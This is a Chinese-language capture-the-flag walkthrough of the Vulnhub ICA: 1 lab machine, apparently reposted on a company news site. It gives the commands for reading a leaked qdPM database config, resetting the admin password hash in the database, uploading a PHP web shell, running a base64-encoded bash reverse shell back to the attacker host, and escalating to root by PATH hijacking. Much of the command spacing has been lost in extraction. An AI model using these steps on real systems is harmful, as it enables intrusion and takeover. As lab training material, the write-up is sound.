首页/新闻资讯/正文详情

【Vulnhub系列】 ICA: 1通关教程

发布时间:2026/11/3 10:40:10 来源:云帆数科 栏目:资讯中心
【Vulnhub系列】 ICA: 1通关教程
环境说明虚拟机软件VirtualBox靶场 ICA: 1攻击机Kali192.168.56.3靶机192.168.56.13虚拟机模式仅主机攻击机靶机同一网段下载链接https://download.vulnhub.com/ica/ica1.zip作者 onurturali难度简单主机发现与服务探测先上来看一下主机IP确定地址是192.168.56.13arp-scan--local2. 继续使用nmap扫描一下开放的端口和服务nmap-sV-sC-p-192.168.56.13对其结果简单总结端口协议服务版本备注22/tcpTCPsshOpenSSH 8.4p1 Debian 5SSH远程登录80/tcpTCPhttpApache 2.4.48 (Debian)Web服务标题 qdPM | Login3306/tcpTCPmysqlMySQL 8.0.26数据库主端口33060/tcpTCPmysqlxMySQL X protocol listenerMySQL X DevAPI协议端口接下来我们从web入手web服务分析及漏洞查找访问http://192.168.56.13/直接到登录页面并且通过title以及页面特诊分析发现该网站使用了版本是9.2的qdPM它是一个CMS系统接下来可以直接去网络上检索该版本存在的漏洞。通过搜索得知 9.2版本的qdPM存在未授权访问导致的信息泄露受影响接口是/core/config/databases.yml,这下好办了直接访问http://192.168.56.13/core/config/databases.yml发现数据库用户和密码3. 注意这里的密码实际密码是 encode里的内容接下来使用命令行连接数据库mysql-h192.168.56.13-uqdpmadmin -pUcVQCMQk2STVeS6J--skip-ssl对于命令行不熟的同学可以使用dbeaver这类的图形化软件连接操作起来会更方便。补充说明ymfony1.4 的 sfDoctrineDatabase 加载这个 yml 配置时部分版本支持在参数值内嵌入简短 PHP 表达式会用 eval 解析。这里作者写这个urlencode属于一种冗余写法大概率是复制模板遗留下来的。看一下数据库都有什么有两个重要的数据库 qdpm和staffshowdatabases;但是更可疑的是 staff大概率有登录用户。4. 先看一下 staff库中有哪些表usestaff;showtables;5. 查看表中内容, 通过数据表的结构可以看出login中的密码对应着user中的用户。select*fromlogin;select*fromuser;6. 接下来找了一个用户测试登录发现不行这里需要将 base64编码的密码简单解码了一下。简单推测一下实际登录所用的数据表甚至数据库不是这个这个只是迷惑人的。并且之前从config.yml文件中也能知道用的是 qdpm表。登录确实用了这个数据表但是密码可能存在二次加密, 这个方向不太好搞。我们朝着第一种可能进发先看看qdpm中的数据表users,空的users_group看看有东西继续从上到下看看各个表中都有什么东西最终在configuration表中发现了线索有管理员用户的用户名和密码密码这个格式肯定是要暴破的。使用john暴破一下好家伙浪费了一个小时还没等破解完手贱通过忘记密码功能直接把密码改了。总之此方法不行john--formatphpass--wordlist/usr/share/wordlists/rockyou.txt(echo$P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0)10. 换一个方式既然破解不出来那就造一个自己的密码然后转化成数据库中的phpass格式然后更新一下数据库不就完了。请按照以下步骤进行:- 将旧的hash扔给AI分析一下cost是多少- 使用python代码生成新的自定义hash# 先pip install passlibfrompasslib.hashimportphpass# rounds7 就是 cost7对应哈希开头 $P$E自定义密码是 123456hphpass.using(rounds7).hash(123456)print(h)# 校验测试okphpass.using(rounds7).verify(123456,h)print(verify:,ok)将结果复制并更新到数据表中# 这里的 value值是你自己代码跑出来的值当然用我的也行。UPDATEconfigurationSETvalue$P$5b/Aa35giKWw.RCF4sdqiOm28wm1gr0WHEREkeyapp_administrator_password;更新成功后直接使用 adminlocalhost.com/123456 进行登录登录成功后看菜单功能比较单一我们需要利用CVE-2023-45856文件上传漏洞进行利用因此先新建一个普通用户如图所示注意不要上传头像会报错。创建完成使用我们新创建的用户登录发现完整菜单。根据下图指示找到对应的功能点直接上传一个已经制作好的一句话木马即可。记得先切换到通用中把名称填一下?phpsystem($_GET[cmd]);?14. 上传完之后发现没有返回文件路径但是下载这里有个路径这个是下载功能非真实木马路径真实木马路径在 uploads目录该目录会列出文件和目录实际上传路径在 attachments下可以看到文件名前面加了一个随机数字。接下来就是利用该木马反弹shell了user flag的获取访问http://192.168.56.13/uploads/attachments/282447-a.php?cmdecho%20YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjMvNjY2NiAwPiYxJw%3D%3D%20|%20base64%20-d%20|%20bash这里的base64编码需要根据你自己的攻击机IP来进行。对于新手可以去从网上找专门生成反弹shell命令的在线网站。对于在线工具不要使用真实IP进行仅作为本地靶机练习防止存在后门。2. 我们当前用户是www-data权限极低需要通过提权等方式找到user flag。当然现在首要做的是提升shell# shell执行以下命令python3-cimport pty;pty.spawn(/bin/bash)# CTRLZ退出当前shellstty raw -echo;fg# 接着输入exportTERMxterm先使用sudo -l看看, 不太行需要密码。4. 看看网站目录有没有什么线索, 没有发现5. 看看SUID文件呢find / -perm -4000 -type f 2/dev/null /opt/get_access这个文件比较可疑6. 看看权限呢简单执行一下看看有没有帮助信息使用strings看看程序里面的字符串呢/lib64/ld-linux-x86-64.so.2 setuid socket puts system __cxa_finalize setgid __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\A]A^A_ cat /root/system.info Could not create socket to access to the system. All services are disabled. Accessing to the system is allowed only within working hours. ;*3$ GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry get_access.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable putsGLIBC_2.2.5 _edata systemGLIBC_2.2.5 __libc_start_mainGLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main setgidGLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuidGLIBC_2.2.5 __cxa_finalizeGLIBC_2.2.5 socketGLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment通过分析发现有个cat /root/system.info命令既然执行了 cat命令那么我们可以通过环境变量劫持获取root shell按照以下步骤cd/tmp# 写cat假程序echo#!/bin/bashcatecho/bin/bashcat# 赋予其可执行权限chmodxcat#把 /tmp 放到 PATH 最前面exportPATH/tmp:$PATH# 执行程序/opt/get_access成功获取Root的shell注意这个坑为啥没有文件内容呢干 我之前修改了cat的环境变量导致我执行cat实际是获取root shell,下面要么换个命令要么使用绝对路径都可以比如/bin/cat /root/root.txt

相关推荐

大模型Agent开发从入门到接项目(保姆级学习路线)
大模型Agent开发从入门到接项目(保姆级学习路线)

作者分享了从零开始学习大模型Agent开发的半年经验,强调Agent开发的核心是将大模型当作员工进行管理,而非深入算法研究。文章提出了五个学习阶段:跑通最简Agent、Prompt Engineering、RAG知识库、记忆机制与多轮对话、多Agent协作与工程化&am… · 2026/11/3 10:39:09

2小时,我做了一套项目成本管控台账!预算、支出、超支一目了然
2小时,我做了一套项目成本管控台账!预算、支出、超支一目了然

项目一直在推进,钱也一直在花,可预算还剩多少、哪些费用正在审批、哪个项目即将超支,却没人能说清楚。 项目经理说,之前沟通过了;财务说,月底才拿到单据;老板问,为什么超支了没人提醒… · 2026/11/3 10:39:09

Jakarta Agentic AI 1.0.0-M1 实战:注解驱动 Agent 生命周期与 LLM Facade 生产落地
Jakarta Agentic AI 1.0.0-M1 实战:注解驱动 Agent 生命周期与 LLM Facade 生产落地

一、为什么 Java 团队该关注这个新标准过去两年,Java 团队做 AI Agent 基本处于"裸奔"状态:要么直接调 OpenAI/Anthropic 的 SDK,要么用 Spring AI、LangChain4j 这类框架,把 Agent 逻辑写成一大段过程式的编排代码。这… · 2026/11/3 10:39:09

深度揭秘:Hermes Agent如何构建企业级多智能体通信架构
深度揭秘:Hermes Agent如何构建企业级多智能体通信架构

深度揭秘:Hermes Agent如何构建企业级多智能体通信架构 在当今分布式AI系统日益复杂的背景下,多智能体协作的效率直接决定了系统的整体性能。Hermes Agent作为一款面向企业级应用的开源多智能体框架,通过创新的消息传递机制和智能协调协议&a… · 2026/11/4 1:46:00

3个高级配置技巧:解锁Hermes Agent的隐藏潜能
3个高级配置技巧:解锁Hermes Agent的隐藏潜能

3个高级配置技巧:解锁Hermes Agent的隐藏潜能 你是否曾想过,为什么同样的Hermes Agent在不同开发者手中表现差异如此之大?当其他人轻松处理复杂任务时,你的Agent却频繁遇到上下文限制或响应迟缓的问题。这并非模型能力不足&#… · 2026/11/4 1:46:00

双态持久化记忆系统:重新定义AI助手的长时记忆范式
双态持久化记忆系统:重新定义AI助手的长时记忆范式

双态持久化记忆系统:重新定义AI助手的长时记忆范式 在传统AI助手领域,"健忘症"一直是制约用户体验的核心瓶颈。每个会话都是孤立的,AI无法记住用户的偏好、工作习惯或历史约定,导致重复的配置和低效的交互。Hermes Age… · 2026/11/4 1:46:00

Hermes Agent:你的AI协作伙伴,如何让复杂任务变得简单?
Hermes Agent:你的AI协作伙伴,如何让复杂任务变得简单?

Hermes Agent:你的AI协作伙伴,如何让复杂任务变得简单? 你是否曾为管理多个AI助手而烦恼?想象一下,你需要同时处理Telegram上的客户咨询、Discord的技术讨论,还要协调团队看板上的开发任务。每个平台都需要… · 2026/11/4 1:46:00

FastAPI API文档定制指南:4 步做出带品牌色的 Swagger 与 ReDoc 界面
FastAPI API文档定制指南:4 步做出带品牌色的 Swagger 与 ReDoc 界面

FastAPI API文档定制指南:4 步做出带品牌色的 Swagger 与 ReDoc 界面 【免费下载链接】fastapi FastAPI framework, high performance, easy to learn, fast to code, ready for production 项目地址: https://gitcode.com/GitHub_Trending/fa/fastapi 做 Fa… · 2026/11/4 1:46:00

计算1!+ 2!+ 3! + 4! +···+10!(1到10的阶乘)
计算1!+ 2!+ 3! + 4! +···+10!(1到10的阶乘)

//初始化 int i 0; int j 1; int ret 1; int sum 0; //嵌套for循环 for (i 0; i < 10; i) //累计1到10 {for (j 1; j < i; j) //每次数的阶乘{ret ret * j;}sum sum ret; //计算每个数的阶乘相加 } printf("%d", sum);int i 1; int ret 1; int sum … · 2026/11/4 1:45:00

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

AI辅助技术栈评估:提升研发决策效率60%
AI辅助技术栈评估:提升研发决策效率60%

1. 项目背景与核心价值技术决策一直是研发团队面临的重大挑战。随着技术生态的快速演进&#xff0c;技术栈的选择、维护和迭代变得愈发复杂。我们团队在过去两年里&#xff0c;先后经历了三次重大技术栈迁移&#xff0c;每次都需要投入大量人力进行技术评估和风险分析。直到去年… · 2026/11/4 0:00:17

从生成Token到直接决策:Jev如何重塑AI Agent工程实践
从生成Token到直接决策:Jev如何重塑AI Agent工程实践

1. 从"生成文字"到"拍板决策"&#xff1a;Jev 到底在解决什么问题大多数人第一次接触大模型&#xff0c;脑子里建立的模型是"输入问题、输出文字"。你问它今天天气怎么样&#xff0c;它给你一段描述&#xff1b;你让它写个周报&#xff0c;它给你… · 2026/11/4 0:00:17

32G统一内存跑大模型:内存账、TPS实测与端云分流
32G统一内存跑大模型:内存账、TPS实测与端云分流

想在一台 32G 统一内存的小主机上把大模型跑成"日常可用"&#xff0c;这件事我前后折腾了小半年。标题里说的这台 Mac mini M6&#xff0c;是我们这次讨论的目标平台&#xff0c;具体到手规格以实物为准&#xff1b;但下面这套推算方法和实测思路&#xff0c;对任何统… · 2026/11/4 0:00:17

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码